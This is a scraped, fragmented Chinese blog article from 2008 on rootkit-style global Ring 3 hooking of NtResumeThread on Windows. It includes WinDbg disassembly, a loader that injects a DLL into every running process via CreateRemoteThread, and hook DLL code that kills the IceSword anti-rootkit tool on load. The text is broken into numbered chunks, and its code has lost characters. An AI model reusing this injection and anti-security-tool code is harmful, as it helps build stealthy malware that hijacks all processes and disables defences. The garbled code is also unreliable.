1、挂钩 NtResumeThread 实现全局Hookhttp:/binyang.org/File/Safe/Programming/2008101720.html挂钩 NtResumeThread 实现全局Hook浏览统计: 14创建时间:2008-10-17文章提交:Admin挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,因此Mcaf
2、ee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是无法接受蓝屏和死机的。感兴趣的可以装个Rootkit unhooker 自己看看。 :)1. 以往的Ring 3全局Hook纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等lpfn hoo
3、k procedure 的指针hmod 包含 hook procedure DLL 的handledwThread 为0使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面的程序,Windows console 类的程序就无能为力了。还有一种通过插入注册表来实现HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。以上两种效果不好,因此有人有开始另外的做法,
4、枚举所有进程,插入和挂钩 NtCreateProcess这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作, 而当NtCreateProcess返回时,进程又已经开始运行b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可 以这么理解,直接在命令行下,cmd,cmd,cmd . 你可以监控到最后一个cmd 吗,如果只 用SetWindowsHookExc. 是否正好站在了华容道,是否足够底层。似乎很费劲2. 分析
5、系统创建进程过程,寻找方法关于这方面内容,可以参考毛德操老师的两篇文章漫谈兼容内核之十七:再谈Windows的进程创建漫谈兼容内核之二十二:Windows线程的调度和运行下面是他的blog 链接:CreateProcess 是 Kernel32.dll 的导出函数。操起WinDbg,剁了一下: Windows 2003 SP2lkd uf CreateProcessWkernel32!CreateProcessW:7c802474 8bff mov edi,edi7c802476 55 push ebp7c802477 8bec mov ebp,esp7c802479 6a00 push 0x
6、07c80247b ff752c push dword ptr ebp+0x2c7c80247e ff7528 push dword ptr ebp+0x287c802481 ff7524 push dword ptr ebp+0x247c802484 ff7520 push dword ptr ebp+0x207c802487 ff751c push dword ptr ebp+0x1c7c80248a ff7518 push dword ptr ebp+0x187c80248d ff7514 push dword ptr ebp+0x147c802490 ff7510 push dword
7、 ptr ebp+0x107c802493 ff750c push dword ptr ebp+0xc7c802496 ff7508 push dword ptr ebp+0x87c802499 6a00 push 0x07c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)7c8024a0 5d pop ebp7c8024a1 c22800 ret 0x28lkd uf CreateProcessInternalW.7c82cf8f ff159814807c call dword ptr kernel32!_im
8、p_NtCreateProcessEx (7c801498).7c82daa2 ff159414807c call dword ptr kernel32!_imp_NtCreateThread (7c801494).7c82dbdc ff158814807c call dword ptr kernel32!_imp_NtResumeThread (7c801488)大概流程如下:Kernel32!CreateProcessWKernel32!CreateProcessInternalWntdll!NtCreateProcessExntdll!NtCreateThreadntdll!NtResu
9、meThread因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,但是进程并没有调度起来,呵呵,方便干坏事啊。3. 具体代码实现基本思路已经清晰了,这里还几个问题。a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时 调用的NtResumeThread呢?其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到NTResumeThread 是判断NtResumeThread
10、 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。b. 用什么方法Hook , IAT、Inline? 总的架构? 这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。 枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程 创建时,将DLL 插入新进程。 下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。 Hook 也不是不是我们这次的主要内容,感兴趣的可以参考 c. 在多线程的环境下是否可靠? 使用关键代码段,互斥锁,效果还可以。Loader:v
11、oid inject(HANDLE hProcess)char CurPath256 = 0; strcpy(CurPath, C:WINDOWSsystem32Hook.dll); PWSTR pszLibFileRemote = NULL; int len = (lstrlen(CurPath)+1)*2; WCHAR wCurPath256; MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256); pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, len, MEM_COM
12、MIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) wCurPath, len, NULL); PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT(Kernel32), LoadLibraryW); CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL)
13、;void TotalInject() HANDLE hProcessSnap = NULL; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = 0; / Take a snapshot of all processes in the system. EnableDebugPrivilege(1); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap = INVALID_HANDLE_VALUE) return; / Fill in the size o
14、f the structure before using it. pe32.dwSize = sizeof(PROCESSENTRY32); / Walk the snapshot of the processes, and for each process, / display information. if (Process32First(hProcessSnap, &pe32) do HANDLE hProcess; / Get the actual priority class. hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe
15、32.th32ProcessID); inject(hProcess); CloseHandle(hProcess); while (Process32Next(hProcessSnap, &pe32); / Do not forget to clean up the snapshot object. EnableDebugPrivilege(0); CloseHandle (hProcessSnap); return ;Hook.dll: 关键代码#include stdafx.h#include BOOL g_bHook = FALSE;typedef LONG NTSTATUS;#def
16、ine STATUS_SUCCESS (NTSTATUS)0x00000000L)#define STATUS_ACCESS_DENIED (NTSTATUS)0xC0000022L)#define STATUS_INFO_LENGTH_MISMATCH (NTSTATUS)0xC0000004L)typedef ULONG SYSTEM_INFORMATION_CLASS;typedef ULONG THREADINFOCLASS;typedef ULONG PROCESSINFOCLASS;typedef ULONG KPRIORITY;#define MEMORY_BASIC_INFOR
17、MATION_SIZE 28typedef struct _THREAD_BASIC_INFORMATION NTSTATUS ExitStatus; PNT_TIB TebBaseAddress; CLIENT_ID ClientId; KAFFINITY AffinityMask; KPRIORITY Priority; KPRIORITY BasePriority; THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;typedef struct _PROCESS_BASIC_INFORMATION / Information Cla
18、ss 0NTSTATUS ExitStatus;PVOID PebBaseAddress;KAFFINITY AffinityMask;KPRIORITY BasePriority;ULONG UniqueProcessId;ULONG InheritedFromUniqueProcessId; PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;typedef NTSTATUS (_stdcall *NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInforma
19、tionClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );typedef NTSTATUS (_stdcall *NTRESUMETHREAD)(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL);typedef NTSTATUS (_stdcall *NTQUERYINFORMATIONTHREAD)( IN HANDLE ThreadHandle, IN
20、THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL);typedef NTSTATUS (_stdcall * NTQUERYINFORMATIONPROCESS)(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG P
21、rocessInformationLength,OUT PULONG ReturnLength OPTIONAL);NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;NTRESUMETHREAD g_pfNtResumeThread = NULL;BYTE g_OldNtQuerySystemInformation5 = 0, g_NewNtQuerySystemInformation5 = 0;BYTE g_OldNtResumeThread5 = 0, g_NewNtResumeThread5 = 0;DWORD dw
22、IdOld = 0;CRITICAL_SECTION cs;NTSTATUS _stdcall NewNtQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);NTSTATUS _stdcall NewNtResumeThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL);vo
23、id WINAPI HookOn();void WINAPI HookOff();BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) switch (ul_reason_for_call) case DLL_PROCESS_ATTACH: InitializeCriticalSection(&cs); char NameMAX_PATH = 0; GetModuleFileName(NULL, Name, MAX_PATH); / 杀杀冰刃玩玩 if ( strstr(Name
24、, IceSword.exe) != NULL) HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId(); TerminateProcess(hProcess, 0); CloseHandle(hProcess); if(!g_bHook) HookOn(); #ifdef _DEBUG MessageBox(NULL, Process Attach, Remote Dll, MB_OK); #endif break; case DLL_THREAD_ATTACH: break; case DLL_T
25、HREAD_DETACH: break; case DLL_PROCESS_DETACH: if(g_bHook) HookOff();#ifdef _DEBUG MessageBox(NULL, Off!, Hook Off, MB_OK);#endif DeleteCriticalSection(&cs); break; return TRUE;BOOL EnableDebugPrivilege(BOOL fEnable) / Enabling the debug privilege allows the application to see / information about service applications BOOL fOk = FALSE; / Assume function fails
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1